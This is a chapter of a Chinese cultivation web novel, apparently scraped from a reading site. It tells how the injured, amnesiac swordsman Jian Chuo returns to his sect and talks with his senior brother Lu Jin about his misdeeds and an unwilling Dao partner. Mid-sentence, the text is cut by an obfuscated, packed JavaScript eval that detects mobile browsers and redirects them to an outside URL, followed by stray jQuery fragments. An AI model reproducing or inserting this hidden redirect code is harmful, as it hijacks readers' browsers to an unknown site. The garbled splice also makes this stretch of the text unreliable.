默认冷灰
24号文字
方正启体

3. 第 3 章

作者:驴的超级磨坊本书字数:K更新时间:
    旁人对剑宗这对天才师兄弟的恩怨津津乐道,却不知两人之间曾有过一段极温馨的竹马时光。


    蹇绰6岁时入门,是被剑尊从饥殍遍地的城镇中捡回来的。


    那日发生的事儿,他已经记不太清;便时常缠着师父卖乖耍赖,要让对方再说一遍自己是如何被捡回来的。


    小小的蹇绰趴在师父腿上,那托着脸摇头晃脑的模样一眼便能看出,是个叫人操心的小闯祸精。


    他仰脸直视着对方,并不畏惧剑尊的千年威名。只听师父说,那日自己被一个骨瘦如柴的男人逼在墙角,几乎要被人当做两脚羊抓了吃了。


    剑尊在旁看着,眼见小小的孩子手里拿着尖锐的石片,狠狠往男人眼上一划。


    男人惨叫一声,丢下蹇绰,捂住了眼。小孩子摔在地上,眼中半点泪光也无。他先是去找农具;却没有那个力气拿起来;又赶忙跑去拿荒地里的大石头。


    明明该跑,却偏要杀人。


    剑尊便在这只小杀星面前现了身。


    对方如现在这样仰脸瞧他,无畏亦无惧;也不哀求煌煌如月的仙人救救自己。他只是握紧了手中的石块,将剑尊与那要吃他男人、以及眼前的所有一切当做需要被击败、杀死的阻碍。


    于是,剑尊便将这小小一只拎着后颈;带回了玄霜剑宗。


    蹇绰对这个故事不太满意!


    他可不觉着自己是什么天生的小杀星小杀神,他明明可讲道理、可礼貌客气了!


    话虽如此,6岁的蹇绰也确实与剑宗的其他师兄们相处不来;在10岁之前,直到正式拜师修习的4年时光里,他除去跟着剑尊学认字读书之外,便只粘着格外照顾自己的师兄陆瑾。


    那时的蹇绰,闯祸要让师兄来背锅;功课不会做、做不完了,也要师兄来帮忙。矮矮一只冷脸小豆丁整日拽着师兄的袖子衣摆,问些古里古怪的孩子气问题;哪里会像现在这两两相对视、相顾无言呢?


    那时的师兄对蹇绰格外好,现在便对他格外的坏。


    见蹇绰不说话,陆瑾于是又说:“只在受伤、闯祸的时候想起有宗门能回?”


    他嗅见师弟身上淡淡的血腥味儿;又见对方脸色苍白,纤长垂下的睫羽微微含着点润色的水光,显出些极少见的媚意。


    他伸手想掐蹇绰的脉门,剑修却如游鱼般灵活闪开;客气道:“只是受了些轻伤,无须师兄挂心。”


    蹇绰当真是好心。


    毕竟对方讨厌自己,又极有责任心。等知道了前因后果,捏着鼻子像过去那样替他这个讨厌的师弟善后,那得有多难受?


    可惜师兄不仅没能理解他的好意,面色反而愈差,淡淡地问:“剑宗只有我与师父是医修。师弟,你受了这样重的伤;不找我治,那就是想要去打扰师父他老人家了?”


    蹇绰怕被师兄管,但更怕被刑堂长老管。


    毕竟他少时不懂事,每半个月里就能有几天把长老气得是死去活来;差点就直接过去了。


    等到现在想想,唉!真是觉着心虚。


    他乖乖伸手过去让师兄把脉,顺便坦白说:“师兄,我也不知道我为什么会伤得这么重...我一睁眼,这两年发生的事是一点儿也想不起来了。”


    蹇绰的声音渐渐小了下去:“至于师兄说的那什么弥天大祸...自然也是...”


    *


    陆瑾被师弟给气坏了。


    倒不完全是因为他闯祸,也不是怪他闯祸之后,便就什么都不记得了。


    自从对方替他搭了脉,蹇绰便眼见着师兄的脸色冷了下去,也不再同他说些阴阳怪气管教的话语,收回手后简短道:“跟我去药房。”


    这一句,就把蹇绰想要开溜的心给生生掐灭了。


    他伤得自然极重,金丹碎裂对于寻常修士来说,几乎算是足以中断道途的伤势。


    只是陆瑾在旁冷眼瞧着,看他的好师弟并未流露出一点焦急担忧之情。旁人无法理解,或许会觉着蹇绰这人太荒唐随意、没心没肺;但同样被以天才之名赞誉多年的陆瑾,却有几分懂得师弟的心思。


    因着天分、道途、或是修士们万分珍视的修为机缘;对他的好师弟而言,从来只是极寻常的事物。


    蹇绰10岁开始修习道法,12岁筑基。16岁金丹,19岁金丹大成。


    金丹毁了,重修便是。


    虽说对方修的不是无情道,却也被天道那过多的偏爱养出几分无情滋味。


    他这师弟的性情被剑尊养得温柔和顺,可内里却寡情淡漠,此时此刻瞧着师兄拿出长老亲制的救命灵药,张口便说:“师兄,用不上这药吧!我自己先养几天便是。”


    这伤哪里能是养几天就能好的?


    师弟被陆瑾瞪了一眼,委屈地趴在药房内让病人休憩的榻上,瞧着师兄替自己调药。


    剑修着实无畏、松弛得令人莫名恼火。


    陆瑾于是便同他说:“既然不记得闯了什么祸,那我便告诉你。这些日子里一直有他派使者上门,说你同魔修厮混在一处,要让我们给个说法。”


    说是厮混,其实已经是陆瑾极委婉的说法了。


    蹇绰生性·爱闯祸也能闯祸,之前也不是没有做过替魔修出头的事——只是他杀该杀之人时也利落得很,旁人最多背后议论上几句,犯不着为了这种事得罪剑尊这位极其护犊子的师父。


    但这次却不太一样。


    陆瑾听说此事时,蹇绰已经同魔修混在一起了半年多,是一次也没有回过宗门。


    那些传言。


    那些污言秽语的轻佻传言,陆瑾并不当真;只是连着魔修也开始说些淫邪的话,仿似蹇绰当真成了他们的共妻一般。


    即使风言风语到如此地步,蹇绰依旧追着魔修跑;今日终于回来,却带着如此一身重伤,甚至连神识灵台都受了重创,真真是叫陆瑾——


    “师兄,你就别气了。”


    蹇绰眼看着师兄几乎要把药壶都捏碎的神态,连忙劝道:“哎呀,要我给说法,我就去给说法好了!又不是什么大事!”


    “你上次要给人家说法。”


    陆瑾说,“连带着把人都杀了,还记得吗?”


    师弟于是又很委屈,却依旧不将这些风言风语放在心上。


    不动手时,蹇绰的性格当真如鹿一般温顺,即使被自家师兄这样冷言冷语训着,也并未显出任何气态,反而笑着说:“师兄,你不要生气。这些交给我来解决罢。”


    即使伤重至此,他的态度依旧很温和——这脉脉温柔并不是生性柔顺;只是不曾恐惧、不会动摇,周遭一切都不入他眼他心,才能如此镇定沉静。


    陆瑾想起那件事后,在蹇绰16岁那年一剑击碎了他的剑骨,让他再无修剑可能之后。他的师父,剑宗的刑堂长老不仅没有生气,反而轻轻松了一口气。


    “这样也好,徒弟,”师父劝他,“你师弟是天生的剑修,你绝无可能与他相争。”


    师父用柔和、疼惜的目光看着陆瑾。


    “至少,你再也不必被逼着修剑、被逼着复仇了。不是吗?”


    而这位天生的剑修,在问完自己闯的祸后,明明还有其他要紧的事情更要去问。


    明明还不知道是谁伤了自己,又是为何丢失记忆;金丹破碎好歹也是极要命的重伤,不管怎样都应慎重对待。


    可蹇绰却又好奇又期待地询问陆瑾。


    “师兄,我就不问我这两年在外面鬼混的事情了。横竖你也不知道,问是惹你生气。”


    他当真对此非常好奇。


    “我只记得在两年前门派大典前夕,我听说有法修世家的人来,便想去凑凑热闹。之后的事情便都一概不知了。”


    少年人的眼剔透、润泽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442682|185030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ;在墨色中混杂着一点点艳丽的血色。


    “我的那位道侣,师兄你知道吗?他是谁,就是那日法修世家的人?我和他是怎么一回事?他真的不喜欢我?”


    *


    倘若事实真是如此,蹇绰几乎能想象师兄会怎样生气。


    从小开始,自己就与师兄弟们有些龃龉。或许是小时候的他只会冷脸待人的缘故,便总是会被师兄弟们逗着玩,也总会是师兄站出来阻止。


    等长大一些,围绕在蹇绰身边的流言蜚语便更加过分;师兄非常讨厌门内弟子这般作态,每次撞见了都会严厉惩罚,对那些不庄重的轻浮言行没有一丝一毫的容忍。


    像他这样....像他这样把道侣当儿戏的行为,师兄对此一定气坏了吧!


    蹇绰这样想着,也出口问了。


    陆瑾的态度却出乎意料地平静,在回答之前先盯着他吃了伤药,又皱眉替他把了一会儿脉后才说:“确实与传言的差不太多。怎么,现在终于知道错了?”


    蹇绰不知道错,但知道心虚;立马无辜地圆了下眼。


    “你那位道侣,确实是被你强求来的;人家也确实不喜欢你,就这么一直在门内闭关了两年,谁也不见。说起来...他今日似是要出关了。你要是想见,去见便是。”


    陆瑾替师弟把脉,除去金丹碎裂和灵台之伤外;对方脉象摸着似还有些异常。


    他便抬眼看向师弟,对方正鼓着半边脸,认真嚼着嘴里的苦药丸。


    在师弟还很小的时候,无论蹇绰做什么;都会同他说,都会问他这个师兄的意见。


    而如今,师弟强求那位道侣时,陆瑾正在外行医施药;等到回来才得知了消息——当是师兄弟们最迟知道的那一位。


    “没什么好生气的,”他平静地收回了手,指尖滚烫,似还带着师弟的脉脉体温。


    “就这么兴冲冲去见人家,恐怕你会大失所望;师弟。他可不是你会喜欢的那种人。”


    好奇怪。师兄说话怎么莫名其妙的?


    从药房出来后的蹇绰心中困惑。不明白为什么自己不喜欢那位道侣,师兄就可以对他的胡闹举止轻轻放过,不再生气了。


    而且师兄说,自己不可能喜欢道侣又是什么意思?


    如果蹇绰不喜欢,怎么可能会非要人家当他的道侣?而且师兄又怎么就知道自己会不喜欢对方了?师兄知道自己喜欢什么类型吗?


    此时夜色深重,星光月色垂落而下;照亮了剑修兴致勃勃的好奇神色。


    师兄不知道蹇绰喜欢什么类型的,可蹇绰自己却再清楚不过了!


    因着门派里当真有太多剑修。


    师兄弟是剑修;师父是剑修;甚至于蹇绰自己都是剑修,所以他一点也不想找剑修当道侣。


    他那些师兄弟当真粗鲁暴躁,一点也比不上师兄端方贵气的形容举止。但师兄现在的性格态度又着实太冷淡,两相比较,蹇绰还是更喜欢小时候温柔耐心的陆瑾。


    法修的话...


    如果是世家出身的法修,多半就是蹇绰喜欢的那种类型吧?


    这般想着,蹇绰轻轻巧巧地落在了对方闭关的洞府门前;正巧也撞见有人自洞府之内走出,他望了一眼,没怎么看清对方的样貌,只是在心中惊叹一句:好高!


    身为剑修的蹇绰,自然是挺拔高挑的身形;对方却比蹇绰还要高上大半个头。


    哦,对了。


    蹇绰突然想了起来。


    除去喜欢温柔好看,不会乱发脾气的贵公子之外;他其实也不喜欢比自己高很多的人


    真没办法——他那些师兄弟,当真是喜欢欺负冷脸小豆丁。


    他还记得自己11、2岁的时候,都还没有自己的剑高呢!已经被那些个师兄、师弟给叫上擂台对练了!


    真讨厌,他的道侣一定不会是这样的人吧!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)